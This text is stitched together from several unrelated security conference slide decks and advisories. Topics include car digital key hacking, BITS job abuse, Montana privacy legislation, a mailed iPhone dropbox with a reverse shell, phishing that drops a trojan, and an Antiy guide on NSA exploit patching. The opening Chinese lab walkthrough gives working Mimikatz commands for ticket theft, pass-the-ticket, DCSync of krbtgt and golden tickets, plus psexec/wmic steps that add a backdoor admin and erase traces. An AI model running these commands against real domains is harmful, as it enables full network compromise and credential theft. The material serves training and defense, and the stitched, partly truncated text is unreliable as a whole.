接下来,远程执⾏行行MimiKatz以从Admin-PC导出所有Kerberos票据:
psexec.exe \\admins-pc -accepteula cmd /c (cd c:\temp ^& mimikatz.exe “privilege::debug” “sekurlsa::tickets /export” “exit”)
由于我们仅对RobinL的票据感兴趣,因此我们仅将RobinL的票据复制回Victim-PC:
copy \\admins-pc\c$\temp\*robinl* c:\temp\tickets
既然我们已经复制了了Admins-PC的凭证,就可以删除复制过来的⽂文件和导出的票据,清除痕迹。
rmdir \\admins-pc\c$\temp /s /q
刚才发⽣生了了什什么?
攻击者已成功将Mimikatz⼯工具复制到Admins-PC。 他们成功地远程执⾏行行了了Mimikatz,从Admins-PC导出了了所有Kerberos票
据。 最后,攻击者将结果复制回Victims-PC,现在有了了RobinL的凭据,⽽而不不必利利⽤用他的电脑(Admins-PC)!
Pass-the-Ticket
我们可以⽤用这些票据做什什么? 我们可以直接将它们传递到内存中,并像使⽤用RobinL⼀一样使⽤用它们来访问资源。
攻击者已准备好将其导⼊入Victims-PC的内存中,以获取要访问的凭据敏敏感资源。
14. 验证您没有对DC1域控制器器的域管理理员级别访问权限
从命令提示符处执⾏行行以下操作:
dir \\dc1\c$
klist
如我们所⻅见,我们正在使⽤用PonyM的票据,并且PonyM⽆无权访问的DC1下的C盘⽬目录。
15. ⾏行行动:Pass-the-Ticket
在命令提示符下切换到Minikatz⽬目录下进⾏行行权限提升,执⾏行行以下命令:
mimikatz.exe “privilege::debug” “kerberos::ptt c:\temp\tickets” “exit”
确保已成功导⼊入[email protected]票据,如上所述。
现在,让我们验证命令提示会话中是否有正确的票据。
16. ⾏行行动:验证票据是否已导⼊入
在刚才已经提升权限的命令提示符下进⾏行行以下操作:
klist
攻击者现在已成功将捕获的票据导⼊入会话,现在将利利⽤用他们的新权限和访问权限访问域控制器器
DC1下的C盘⽬目录。
17. ⾏行行动:使⽤用RobinL的凭据访问dc1\c$的内容
在刚刚导⼊入票据的同⼀一命令提示符中执⾏行行以下操作。
dir \\dc1\c$
⽆无论出于何种⽬目的,攻击者现在都处于互联⽹网中。只有管理理员RobinL才能访问域控制器器的根⽬目
录。攻击者正在使⽤用合法凭据,可以访问合法资源并执⾏行行合法可执⾏行行⽂文件。
⼤大多数IT安全设备、软件等都会对在其环境中进⾏行行的这种域内后渗透活动视⽽而不不⻅见。
远程命令执⾏行行
针对DC的远程代码执⾏行行是每个攻击者都希望做的事情,对我们的身份层本身进⾏行行修改会使检测
他们的存在变得⾮非常困难。
让 我 们 执 ⾏行行 远 程 命 令 将 ⽤用 户 添 加 到 域 中 , 并 使 ⽤用 R o b i n L 的 合 法 凭 据 将 他 们 添 加 到
“Administrators”安全组中。使⽤用内置⼯工具,⽆无需恶意软件或⿊黑客⼯工具。
18. ⾏行行动:对DC1远程执⾏行行命令添加管理理员
在加载RobinL的Kerberos票据的命令提示符下,执⾏行行以下操作:
wmic /node:dc1 process call create “net user admin1$ 1234abcd!! /add”
wmic /node:dc1 process call create “net localgroup administrators admin1$ /add”
或
psexec \\dc1 -accepteula net user admin$ 1234abcd!! /add
psexec \\dc1 -accepteula net localgroup Administrators admin$ /add
向域中添加管理理员
域控制权
攻击者已经获得了了域控制权,他们可以作为管理理员运⾏行行任何代码,并访问域中的任何资源。
然⽽而,为了了确保域控制的持久性,后⻔门和其他机制作为保障,以防原始攻击⽅方法被发现,或证
书随机重置。⾸首先你要破坏KRBTGT⽤用户的凭据帐户。此帐户充当密钥分发中⼼心(KDC)服务
的服务帐户。⼀一旦您破坏了了KRBTGT帐户,您将能够⽣生成Kerberos票据有效期10年年。直流同
步:破坏KRBTGT到⽬目前为⽌止,攻击者在DC上所做的⼀一切都要求他们在DC上运⾏行行任意代码。
如果攻击者决定运⾏行行更更隐蔽的攻击,即不不在DC上运⾏行行任意代码的攻击(没有PsExec或将⽤用户
添加到提升的组中),该怎么办。
Mimikatz,有⼀一个叫做“DCSync”的功能。这允许攻击者使⽤用域管理理凭据将任何凭据复制回它
们,就像它们是DC域控制器器⼀一样。
19. ⾏行行动:破坏KRBTGT证书
如果关闭了了命令提示符,则打开具有RobinL凭据的命令提示符,回到第14步⾏行行动。
转到命令提示符,确保RobinL的票据仍然被注⼊入到会话中。
klist
从krbtgt验证RobinL/h4x0er.org
现在,我们知道⾃自⼰己在正确的控制台上⼯工作,我们可以模拟攻击者并尝试获取域的最终凭证:
KRBTGT。为什什么是这个账户?⽤用这个帐户,你可以签你⾃自⼰己的票据。
20. ⾏行行动:执⾏行行DCsync同步
从Victim-PC上现已验证的RobinL命令提示符,遍历到⽂文件系统上Mimikatz所在的位置,然后
执⾏行行以下命令:
mimikatz.exe “lsadump::dcsync /domain:h4x0er.com /user:krbtgt” “exit” >> c:\krbtgt-export.txt
针对krbtgt帐户的DCsync同步
⼀一旦攻击者打开“krbtgt-export.txt“他们将得到所需的KRBTGT票据详细信息。
打开“krbtgt-export.txt “我们刚刚将hasndump哈希导出到的⽂文件。
图1:KRBTGT账户“现在属于我们”。
此时,攻击者拥有了了使⽤用窃取的NTLM哈希对任何资源的任何TGT签名所需的全部功能,⽽而⽆无
需回到域控制器器。 这样,攻击者就可以在他希望的任何时候成为任何⼈人(直到重置两次
KRBTGT帐户本身)。
Golden Ticket(⻩黄⾦金金票据)
利利⽤用KRBTGT签名假票据被称为“⻩黄⾦金金票据”攻击。
现在,攻击者有了了KRBTGT⽤用户帐户的哈希,他们现在可以创建⻓长期有效的Kerberos票据。 这
将使攻击者以提升的权限访问⽹网络,⽽而⽆无需再次进⾏行行身份验证。
创建⻩黄⾦金金票据需要什什么:
■
Krbtgt账户的NTLM Hash(我们在上⼀一⾯面练习使⽤用DC Sync获得了了NTLM Hash)
■
域名–在我们的⽬目前情况下为h4x0er.org
■
需要获取域SID
■
要模拟的⽤用户– RobinL([email protected])
21. ⾏行行动:找到域的SID
要找到域的SID,可以从sysintranternals运⾏行行PSGetSid,
或者使⽤用Whoami命令删除SID的最后⼀一部分,这样就有了了域的SID。
22. ⾏行行动:⽣生成⻩黄⾦金金票据
现在我们已经拥有了了所需的所有条件,现在我们可以⽣生成⻩黄⾦金金票据了了。
运⾏行行以下命令以⽣生成RobinL的⻩黄⾦金金票。
此命令将创建带有⻩黄⾦金金票据的⽂文件,攻击者随时可以使⽤用它。
mimikatz.exe "privilege::debug" "kerberos::golden /domain:h4x0er.org /sid:S-1-5-21-4099049085-561315731-2205585723 /
krbtgt:812092ff833539d2dedb4d43ebd0270 /user:RobinL /id:500 /groups:500,501,513,512,520,518,519 /ticket:GTrobinl.kirbi"
"exit"
23. ⾏行行动:载⼊入⻩黄⾦金金票据
打开⼀一个新的命令提示符并执⾏行行以下操作,确保您没有任何⾼高权限。
dir \\dc1\c$
klist
如我们所⻅见,我们正在使⽤用JackM的票据,并且JackM⽆无法访问DC1上C盘的根⽬目录。
切换到安装Mimikatz的位置,然后运⾏行行以下命令以加载⻩黄⾦金金票据Golden Ticket。
mimikatz.exe "privilege::debug" "kerberos::ptt GTrobinl.kirbi" "exit"
我们可以看到票据的结束有效期是当前⽣生成⽇日期后的⼗十年年,说明票据有⼗十年年有效期。
使⽤用⻩黄⾦金金票据Golden Ticket运⾏行行⼀一下命令:
dir \\dc1\c$ | pdf |
侠盗猎车——数字钥匙Hacking
演讲人:@Kevin2600 @MonkeyKing
2 0 1 8
#Whoami
@Kevin2600
银基安全研究员
专注无线电和嵌入式系统安全
会棍: KCON; XCON; 阿里先知; BESIDES; OZSECON; DEFCON26
PART 01
汽车钥匙简史 101
目录
CONTENTS
PART 02
安米钥匙架构 & 功能
PART 03
安米钥匙攻击点分析
RF 干扰攻击
钥匙共享分析
蓝牙加密破解
01
02
03
PART
01
汽车钥匙简史
汽车钥匙 101
•
机械钥匙 (仍在使用)
•
远程控制 (红外线; 固定码; 滚动码)
•
RFID (无线射频车辆身份编码识别)
•
数字钥匙 (手机即为钥匙未来趋势)
新趋势 ?
经典案例
•
RKE KeeLoq algorithm cracked (2008)
•
Passive Keyless entry Keyfob Relay attack (2012)
•
Gone in 60 seconds -- Hijacking with Hitag2 (2012)
•
Samy's Rolljam -- Drive it like you hacked it (2015)
•
BMW ConnectedDrive -- Telematics hacked (2015)
•
Mitsubishi Outlander WIFI Hacked -- PenTestPartners (2016)
•
14 vulnerabilities found in BMW connected cars -- KeenLab (2018)
新趋势 新HACK — 2015
新趋势 新HACK — 2016
PART
02
安米钥匙架构 & 功能
数字钥匙 —— 安米
功能
•
Keyless Entrance System
•
Keyless Engine Start/Stop
•
Bluetooth Low Energy 4
•
Auto Lock/Unlock Function
•
Mobile as Key (Android; Iphone)
•
Remote Keys Sharing (20 Users)
安米部件
安米配对
支持车型
安米内部1
安米内部2
安米内部3
•
B T L E - M o d u l e ( C C 2 6 4 0 ) to communicate
with mobile APP through 2.4ghz
•
RF-Module(NXP-61X0915) Emits unlock/lock cmd to
the vehicle. RF-module vary from different car models
•
BTLE-Module (SYD8801) sensor. 2.4GHz BTLE SOC 32-
bit ARM Cortex-M0. Functionality unknown ?
神秘的传感器
神秘的传感器
无线模块
Oscillator: 13.560Mhz
Math:
13.560MHz / 8000 = 1695hz
13.560MHz * 32 = 433.92Mhz
SDR-HackRF
SDR-GQRX
蓝牙模块
蓝牙模块
蓝牙模块
安米APP
安米APP
安米APP
安米APP
安米APP
安米APP—Server
毫无隐私可言....
Encryption ?
超级安全?
PART
03
安米钥匙攻击点—RF 干扰攻击
RF-干扰器
RF-干扰器
安米安全否?
安米单向通讯...
演示:
PART
04
安米钥匙攻击点—钥匙共享分析
共享功能
共享功能
What could possibly go wrong ?
微信共享
微信共享
演示:
删除账号 ?
演示:
账号过期 ?
演示:
PART
05
安米钥匙攻击点 —蓝牙加密破解
BTLE—数据包分析
BTLE—数据包分析
BTLE—数据包分析
BTLE -- 1st 尝试
BTLE—登录验证
BTLE—登录算法
BTLE—登录协议
BTLE—登录算法
BTLE—登录算法
BTLE—登录算法
Login—加密算法
•
1-byte of encryption key
•
使用 XOR 作为所谓的加密算法
•
所需参数均可通过蓝牙抓包获取
Login—蓝牙抓包
Login—蓝牙抓包
Login—Crafting Packets
演示:
漏洞报告?
总结
•
Security by obscurity ???
•
100 % 的绝对安全并不存在
•
新的趋势将会带来新的攻击点
•
安全测试 + 安全测试 + 安全测试
谢谢观看
演讲人: @Kevin2600 @MonkeyKing | pdf |
BITSInject
Control your BITS, get SYSTEM
Dor Azouri
Security Researcher @SafeBreach
BITS Background & Terms
PowerShell
bitsadmin
...
BITS Job
Download
Upload
Upload-Reply
COM Interfaces (C/C++)
qmgrprxy.dll
qmgr.dll
State File
More Background
Available since 2001 (Windows XP)
Most known use: Windows Update
Advanced features
Known Malicious Uses
BITS as a malware downloader
As a persistency mechanism (e.g. DNSChanger/Zlob.Q)
As C&C communication
DEMO
The Abuse
The inspiration?
the way WU downloads and installs updates
The Drive? Jealousy
… of how WU adds SYSTEM jobs
The Enabling Feature
SetNotifyCmdLine
Naive Try
bitsadmin /CREATE I_WANT_YOUR_SYSTEM
bitsadmin /ADDFILE I_WANT_YOUR_SYSTEM
http://site.com/software.exe c:\temp\software.exe
God Created a Rock He Can’t Pick Up
bitsadmin /CANCEL I_WANT_YOUR_SYSTEM
Unable to add file to job - 0x800704dd
The operation being requested was not performed
because the user has not logged on to the network
How Does wuaueng Do the Things He Does?
CoSwitchCallContext to the COM intf of qmgr.dll
qmgr!CJobManagerExternal::CreateJob ->
qmgr!CJob::AddFile ->
qmgr!CJob::Resume ->
qmgr!CJob::Transfer ->
qmgr!CJob::BeginDownload
How Does wuaueng Do the Things He Does?
CoSwitchCallContext to the COM intf of qmgr.dll
qmgr!CJobManagerExternal::CreateJob ->
qmgr!CJob::AddFile ->
qmgr!CJob::Resume ->
qmgr!CJob::Transfer ->
qmgr!CJob::BeginDownload
Going after wuaueng
Compare flow of calls between wuaueng and bitsadmin
1.
qmgr!CJobManagerExternal::CreateJob -- identical
2.
qmgr!CJobExternal::AddFile -- identical, but:
Exception is thrown here (0x800704dd)
Faking Session ID
SwitchToLogonToken
{Client SID} =
(From Job object)
{Session ID} =
GetTokenInformation(12)
CloneUserToken
CLoggedOnUsers::FindUser({SID},...) in {Session ID}
Faking Session ID
SwitchToLogonToken
{Client SID} =
(From Job object)
{Session ID} =
GetTokenInformation(12)
CloneUserToken
CLoggedOnUsers::FindUser({SID},...) in {Session ID}
{SYSTEM} is NOT logged
on in session {1}
Faking Session ID
SwitchToLogonToken
{Client SID} =
(From Job object)
{Session ID} =
GetTokenInformation(12)
CloneUserToken
CLoggedOnUsers::FindUser({SID},...) in {Session ID}
{Session ID} = 0
public enum JOB_STATE
{
Queued,
Connecting,
Transferring,
Suspended,
Error,
TransientError,
Transferred,
Acknowledged,
Cancelled,
Unknown
};
The State File is the Supervisor
Represents the job queue
C:\ProgramData\Microsoft\Network\Downloader\(qmgr0.dat|qmgr1.dat)
Alternated update, current is:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StateIndex
The State File
●
Straight-forward
e.g. string representation:
CJob::Serialize(class CQmgrWriteStateFile &) calls
CQmgrStateFiles::Write(void const *,ulong) for each job property
●
Unencrypted
●
Partially protected
07
00
00
00
‘S’
00
‘Y’
00
‘S’
00
‘T’
00
‘E’
00
‘M’
00
00
00
public enum JOB_STATE
{
Queued,
Connecting,
Transferring,
Suspended,
Error,
TransientError,
Transferred,
Acknowledged,
Cancelled,
Unknown
};
sc stop bits
timeout 5
del /Q /F C:\ProgramData\Microsoft\Network\Downloader\*
>> Put modified state file
sc start bits
Migration of the Queue
Just copy-paste the state files between machines
Windows 7 Header:
F5 6A 19 2B 7C 00 8F 43 8D 12 1C FC A4 CC 9B 76
Windows 10 Header:
28 32 ED 09 A6 C7 E9 45 8F 6D 36 D9 46 C2 7C 3E 00 00 00 00 00 00 00 00
A Cleaner Method
Version Dependent Header
State File Header
Queue Header
Jobs Counter = n
Job Header
Job #0
Job Footer
...
Job Header
Job #n
Job Footer
Queue Footer
Job Header
Job #x
Job Footer
n++
BITSInject.py
Injects a job with LocalSystem rights
Job is removed when finished
Allows editing some of the job’s parameters, more in the future
DEMO
Interactive Services Detection - UI0Detect
sc stop UI0Detect
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v
NoInteractiveServices /t REG_DWORD /d 1 /f
sc start UI0Detect
OR
Non-interactive exe
SimpleBITSServer.py
A simple python implementation of a BITS server
Responds without a Content-Length header
Accelerating the method by pushing job into the ERROR state
Other Potential Abuses
Interfere with a software update job:
1.
WU choking using file name exhaustion
2.
Change job state using BITSInject.py
3.
Completely remove a job from queue using BITSInject.py
Links
BITSInject (Tool code + Parser):
https://github.com/SafeBreach-Labs/BITSInject
SimpleBITSServer:
https://github.com/SafeBreach-Labs/SimpleBITSServer
Email: [email protected]
Twitter: @bemikre | pdf |
The Politics of Privacy
and Technology:
Fighting an Uphill Battle
Eric Fulton, CEO SubSector Solutions
Daniel Zolnikov, MT House Representative
Note, a prettier and updated version of this
presentation can be obtained by emailing:
[email protected]
or
[email protected]
Daniel Zolnikov
MT State House
Representative
Still has a
Blackberry..
@DanielZolnikov
Eric Fulton
Runs an information
security consulting
firm
Adventures a lot
@SubsectorCorp
Preface
Entire story takes place January - April 2013,
before PRISM/NSA spying fiasco
Daniel was serving his first term as a freshman
legislator, focusing on privacy legislation.Eric
worked behind the scenes formulating the
legislation.
Daniel will be running for the 2015 Montana
legislature.
Need For Privacy Laws
Create legislation to enforce Montana’s
constitutional right to privacy
“RIGHT OF PRIVACY. The right of individual
privacy is essential to the well-being of a free
society and shall not be infringed without the
showing of a compelling state interest.”
Sadly, rights and liberties have no meaning
without laws clearly protecting them.
Policy Frameworks
Base proposed Montana law on existing
frameworks
● California's Civil Code 1798.14-1798.23
● Massachusetts' 201 CMR 17.00
● EU’s Privacy Directive
● Germany’s Data Privacy Laws
(Bundesdatenschutzgesetz or BDSG)
California's Civil Code 1798.14-
1798.23
“Each agency shall maintain in its records only
personal information which is relevant and
necessary to accomplish a purpose of the
agency...”
Massachusetts' 201 CMR 17.00
Section 2 - Regulations to safeguard personal
information of commonwealth residents
Section 3 - Duty to report known security
breach or unauthorized use of personal
information
Germany’s Data Privacy Laws
● Prevents organizations from collecting any
personally identifiable information without
obtaining permission from an individual
● Permission for the collection of data must be
specific including how, where, how long and
for what purposes the data will be used.
● Individuals may revoke permissions at any
time.
● Policies, procedures, controls must be put in
place by the organization to protect all data.
Creation Process
● Our Bill was originally put together from
outside sources and tried the previous
session.
● Polished the previous bill, added additional
explanations, definitions, and clarifications.
● Handed updated bill to legislative services
● Proposed bill to House
HB400 in Depth
Main Points of HB 400
(1) data subjects must be given notice when
their personal information is being collected;
(2) personal information may be used only
for the purpose stated and not for any other
purposes;
(3) personal information may not be
collected or disclosed without the data subject's
consent;
Main Points of HB 400 (continued)
(4) personal information that is collected must
be kept secure from any potential abuses;
(5) data subjects must be informed as to who is
collecting personal information;
(6) data subjects must be allowed to access
their personal information and make corrections to
any inaccurate data; and
(7) data subjects must have a method available
to them to hold data collectors accountable for
following the principles contained in this section.
First Bill Draft - Document Issues
Definitions
Opt Outs and Extenuating Circumstances
Created paperwork issues for small businesses
Definition Issues
Almost 30 definitions
"Agency", "Blocking", "Business", "Collection", "Communication", "Consent", "Controller", "Customer",
"Data subject", "Disclose", "Entity", "Erasure", "Governmental entity", "Individual", "Maintain", "Mobile
telecommunications services", "Modification", "Person", "Personal information", "Processing",
"Processor", "Record", "Storage", "System of records", "Third party", "Use"
Phrases like "Data Subject" are hard to
differentiate from "Customer" and "Individual"
How to define "Personal Data"
Overreaching Clauses
"A business may not refrain from conducting
commerce with an individual solely because the
individual refuses to consent to the business's
collection, processing, or use of the individual's
personal information except when the personal
information is genuinely needed for the
business to provide the service or product
requested, to complete a financial transaction,
or to comply with the law".
Small Business Burden
Can small businesses comply?
Could this create another burdensome
regulation on small businesses that make it
harder to compete?
Should mom and pop shops be collecting
information if they can't safely store it?
First Bill Draft - People Issues
● Leadership issues
● Extensive push back from lobbyists
● “Too Long” (at 26 pages)
● People didn't understand it / read it
Leadership Issues
● Conservative leadership promised the bill
would end up in the Judiciary committee.
● Judiciary committee focuses on rights and
liberties. For example, gun bills, gay rights
and abortion bills.
● Leadership was not concerned about privacy
legislation and didn't fully understand it.
● The bill ended up in Business and Labor to
be killed.
HB 400
37 Signatures,
mostly from
members of the
House and Senate
appropriations
committee.
Push Back From Lobbyists
● Some Representatives serve as easy votes
to their sponsors, the lobbyists and took their
side without ever questioning intentions.
● Lobbyists said they were concerned about
more regulation. In truth, they were
concerned about possibly losing the ability to
profit from consumer information.
● I obtained a reputation rather quick with my
low tolerance for lobbyists.. Was referred to
as the "Mad Russian".
Understandability Problems
● Partially a generational problem.
● Young Democrats and Republicans worked
together. Older Representatives barely knew
what facebook was.
● Lack of awareness (not any more)
Bill Sizing Issues
The bill:
● Was 26 pages long. This is big by MT
Standards
● Complex. It interacted with a number of
other state laws increasing reading
complexity.
● Proposed a lot of new ideas and paradigms
in one document.
The Committee Meeting
● Two Proponent Testimonies, ACLU and Eric
● A line of Opponents: MT Retail Association,
MT Telecommunications Association,
Multiple Insurance companies, MT Auto
Dealers Association, MT Bankers
Association, Multiple Hospitals, Chamber of
Commerce, MT Collectors Association, MT
Data Association
● Unengaged Committee Members
Tabled in Committee
● Wrong committee in the first place
● Nearly all of the lobbyists were not supportive of
any type of privacy legislation. Special interests
profit from this data
● The bill was large.
● Most legislators didn't understand the premise on
why we needed this legislation.
● Many legislators saw HB400 as growing
government and creating unnecessary laws.
The Demise of HB400 -
Death By Committee
● HB400 tried too much
● Privacy (currently) didn’t affect people
DIRECTLY. We were two or three months
ahead of our time.
● We didn't compromise with opposing
interests.
The Demise of HB400 -
Additional Thoughts
● We are new to the process. There were a
lot of informal formalities we didn’t realize
had to be done
● Lack of $$$ for awareness
● No motivating story
Unexpected Consequences/Results
A Privacy Bill Was Passed
Through...
Cell Phone privacy
● Required law enforcement to obtain a search
warrant before being able to collect location
information from electronic devices.
● It was short and simple. Only 1 page.
● It had emergency opt-outs
● It was a “common sense” bill
Revising Our Legislative Strategy
● Break HB400 into smaller, more digestible
pieces
● Create clear cases for each new bill
● Work with businesses to ensure they
understand our goals, and we understand
their hardships
Privacy Legislation Goals
Implement the 7 core points of HB400:
(1) data subjects must be given notice when their personal information is
being collected;
(2) personal information may be used only for the purpose stated and not for
any other purposes;
(3) personal information may not be collected or disclosed without the data
subject's consent;
(4) personal information that is collected must be kept secure from any
potential abuses;
(5) data subjects must be informed as to who is collecting personal
information;
(6) data subjects must be allowed to access their personal information and
make corrections to any inaccurate data; and
(7) data subjects must have a method available to them to hold data
collectors accountable for following the principles contained in this section.
Privacy Legislation Goals - 2015
We need to have the consent section passed:
Consent. (1) Personal information may be collected, processed, or used by an
entity only if the data subject has consented or any other legal provision
explicitly permits or allows an activity without the need for consent.
Consent implies ownership of private
information. This section is also relatively
simple and the most important step that can be
taken.
It all leads to...
Model privacy legislation
States rights
Setting a legal precedent for privacy
Ensuring Orwell was a dreamer and not a
predictor
Conclusion
Feel Free to Donate to Our
Campaigns ;)
Daniel Zolnikov
Email [email protected] with the subject
"Donations"
Bryce Bennett
secure.actblue.com/entity/fundraisers/22657 | pdf |
Bringing Sexy Back
Breaking in with Style…
Pentest? Really?!?!
• Pentest has betting getting a bad rap lately
• The demand hasn’t dropped off…
• Testers hate doing it because its boring
Why is pentesting boring?
Its seldom about 0day, its most about lame
php bugs or password cracking…
Why is pentesting boring?
Customers don’t understand them. I once was
hired to do a pen test on a Class C that had
nothing on it.
Why is pentesting boring?
Watching scanners run is boring…
Where is the excitement?
This can’t be it, there must be more to this than
some scanners, password crackers, and out
of date software. Where is the mystery, the
intrigue, the fun stuff?
Boring?
We have two ways pen testing can be
interesting, easy, and surprisingly
successful.
1. iPhone in a box.
iPhone in a box is simple
• Step 1 – Get a Box
• Step 2 – Put your iPhone in a Box
• Step 3 – Mail the box
Step 1 – Get a box
• Get a box.
– We used the original iPhone box.
– It doesn’t look very suspicious
– And it’s the perfect size for everything we
need to fit inside.
Step 2 - Put your iPhone in the box
All the materials…
Battery problems?
• The iPhone will last a day or so if it is on
constantly and scanning.
• Batteries to the Rescue!
– APC makes mobile batteries…
Battery Problems?
• We have found that with a fully charged
battery an iPhone can run for 5 days with
activity.
Back to the box…
• The default box has enough room for the
phone, the battery, and the cables..
• It requires some cutting of plastic
– Easy to do with any knife
Cutting, Cutting, Cutting
All done…
Now for the plastic…
Fits like a glove!
Disable the autolock and poweroff..
Box built, now what?
Configure the iPhone
• Jailbreak the iPhone
• Install SSH and the BSD subsystems…
• Install tcpdump, APLogger, and anything
else you might use…
• Do some custom stuff…
What is custom?
• How it connects to you…
– You can’t SSH to the phones IP address…
– So you can have it connect to you…
– Write a program that behaves like shellcode
• Starting a process with a shell
• Redirect standard in and out to a shell
• Connect to a predetermined address at
specific time intervals
• You can use Netcat to list on the receiving
host.
• This process is croned to run every hour on
the hour.
• When you get a connection you are inside
the network!
• Manually do scans and connect to access
points/Other machines.
Set it all up and seal the box up…
Step 3 – Mail the box
Demo of iPhone connection software
2. Phish for it…
• The easiest way to break in to Windows is to
ask nicely…
• A good phisihing site isn’t after passwords…
• Installing software is far more useful.
• There has been a number of vulnerable
ActiveX controls lately that allow for the
download and execution of arbitrary
programs.
• An ActiveX control like this could great
benefit a test
• Grab a CMS, configure it to look like a
benefit management company.
• Configure the main page to prompt visitors to
install a “secure” ActiveX control.
• Download and install the trojan.
• Safeguards have to be put in place
– It can’t infect any site visitor
– The trojan has to delete itself and the ActiveX
control after a period of time.
– Log everything on the victim machine…
Pen Phising Demo
Thank you.
http://erratasec.blogspot.com
http://www.erratasec.com | pdf |
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 1 页
关于系统化应对 NSA 网络军火装备的操作手册
安天安全研究与应急处理中心(安天 CERT)
报告初稿完成时间:2017 年 05 月 22 日 06 时 00 分
首次发布时间:2017 年 05 月 22 日 08 时 00 分
本版本更新时间:2017 年 05 月 22 日 19 时 00 分
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 2 页
1 概述
北京时间 2017 年 5 月 12 日 20 时左右,全球爆发大规模的 “WannaCry”(中文名称魔窟)勒索软件感
染事件,我国各地的计算机网络(特别是一些内网)也受到不同程度的影响。该勒索软件迅速传播的原因
是利用了基于 445 端口传播扩散的 SMB 漏洞——MS17-010。该漏洞利用工具原本是美国 NSA 下属的
Equation Group(方程式组织)使用的“网络军火”,在 2017 年 4 月 14 日的被黑客组织 Shadow Brokers(影
子经纪人)曝光,而该勒索软件的攻击者或攻击组织在借鉴了该“网络军火”后进行了此次全球性的大规
模攻击事件。
关于本次事件需要注意的是,“WannaCry”(中文名称魔窟)勒索者蠕虫仅利用了被曝光“网络军火”
中的“永恒之蓝”(Eternal Blue)漏洞,Shadow Brokers(影子经纪人)曝光的“网络军火”中还有系列的
漏洞及其利用工具需要关注和防范。同时,Shadow Brokers(影子经纪人)在 2017 年 5 月 16 日再次发布声
明,称其会在 6 月公布更多漏洞,鉴于以上原因,需要对当前已知的和未来将出现的威胁做好相应的防护
和准备工作。
在面对各种严峻的安全风险时,除了通过有效的安全设计和使用安全产品形成防御能力之外,我们必
须要做好合理的补丁策略、端口和应用的管理策略、边界的安全条件等基础安全工作。针对部分网络节点
规模及数量较大的内网用户或部分对业务系统的稳定性及安全性要求较高的用户,有可能不能实施全面的
系统的补丁策略,同时实时获取补丁的方法一定程度上受到网络隔离的相应影响或限制,因此,可能需要
采用对严重漏洞进行单点补丁的策略。但是因为整个补丁系统的庞大和复杂性、补丁和业务系统的相关性,
仅靠打补丁和关闭端口,并不能系统应对各种复杂情况。比如以下几种场景:
第一种情况,由于相应系统停止更新服务的原因,部分安全漏洞被发现时,原厂可能已经不再发布补
丁,必须要使用升级相关的系统或应用的方式来解决,如本次受影响的 Windows XP 及 Windows Server 2003
系统,微软已经在多年前停止对这两个系统进行补丁更新及相关的升级,对于使用这两种系统的用户来说,
无法获得官方的补丁进行修复漏洞,此时,我们就需要采用有效的安全设计和安全产品等策略进行防护。
第二种情况,实际上来看,每一个应用和它开放的端口都有其特定场景的业务价值,因此,在采用相
应端口屏蔽策略之前,需要判断是不是系统中需要正常使用的应用或端口,以及这种应用或端口是否有其
他的方式来替换。比如在用户的业务场景下,如果 80 端口是为了保证业务系统的正常运行时,不能够进行
对其进行端口关闭、端口修改或停止相应的服务时,就需要采用有效的系统安全设计和使用安全产品形成
对系统的整体性的综合防御来抵御其攻击。
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 3 页
第三种情况,如果补丁和业务系统的稳定性发生冲突的情况,对于多数情况下,可能需要保证业务系
统的正常运行,这种不能更新补丁的情况,可能需要外部的安全检测方法或者替换现有操作系统版本等方
式来解决,此时就需要引入特定的安全产品进行防护。
合理的补丁策略绝不只是针对重大事件的应急反应,而是要在日常的安全应用和维护中需要达成的一
个规范工作及流程,仅靠打补丁和关闭端口是无法完整应对网络攻击的,必须借助安全设计、被动防御、
积极防御和威胁情报的结合,依托具有有效防护能力的安全产品来形成防御的纵深能力。
微软补丁包机制是不安装基础补丁包则无法安装后续的部分补丁。因此安天建议普通的桌面系统和不
重要的服务系统在内部无法安装在线补丁的情况下,先安装基础补丁包,然后再安装无法安装的补丁包。
因为基础补丁包体积较大,一旦出现大型的安全事故,由于大量用户进行下载,可能造成下载不成功的情
况,因此希望网络管理员提前储备基础补丁包及重要补丁包。
核心的安全风险在纵深地带,在内网纵深地带,整个的安全防御要做纵深展开。安天由几个安全产品
所组成的安全防护体系,在安天态势感知和监控预警平台的统一协调下,能够形成真正有效具备全天候、
全方位能力的态势感知,能够形成对信息资产的有效防护。
图 1 近期泄露的 NSA 网络军火装备与相关漏洞、系统版本关系图(详图)
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 4 页
图 2 近期泄露的 NSA 网络军火装备与相关漏洞、系统版本关系图(简图)
2 基本处置流程
由于涉及的漏洞较多,影响的系统、应用版本复杂,且部分受影响系统官方已经不再更新补丁,因此
在处置相关系统时需要对系统基本情况进行判断,选择对应处置方案。具体判断流程如下:
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 5 页
图 3 选择处置方案流程
选择处置方案后,如果系统可以安装补丁,可以根据下表安装更新补丁或升级系统、应用。补丁程序
可以根据链接从官方下载,也可以使用提供的离线补丁包。
漏洞攻击模块名称
中文名
影响系统或应用名称
补丁或升级版本
影响端口
补丁或最新应用地址或手工处置建议
Easybee
易之蜂针
WorldClient 9.5, 9.6,
10.0, 10.1
升级最新版本 17.0.1
1000/3000
http://www.altn.com/Downloads/MDaemon-Mail-Server-Free-Trial/
Easypi
易之远控
IBM
Lotus
Notes
(
Windows
NT,
2000 ,XP, 2003)
升级到 9.0.1 以上版本并安装
最新补丁
3264
http://www-03.ibm.com/software/products/en/ibmnotes
https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Collaboration
%20Solutions&product=ibm/Lotus/Lotus+Notes&release=9.0.1.8&platform=Window
s&function=all
Eclipsedwing
日食之翼
Windows
2000,
XP,
2003
KB958644
139/445
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
Educatedscholar
文雅学者
Windows vista, 2008
KB975517
445
https://technet.microsoft.com/en-us/library/security/ms09-050.aspx
Emeraldthread
翡翠纤维
Windows XP,Vista,7,
Windows
Server
2003,2008
KB2347290
139/445
https://technet.microsoft.com/en-us/library/security/ms10-061.aspx
Emphasismine
地域之雷
IBM
Lotus
Domino
6.5.4, 6.5.5, 7.0, 8.0,
8.5
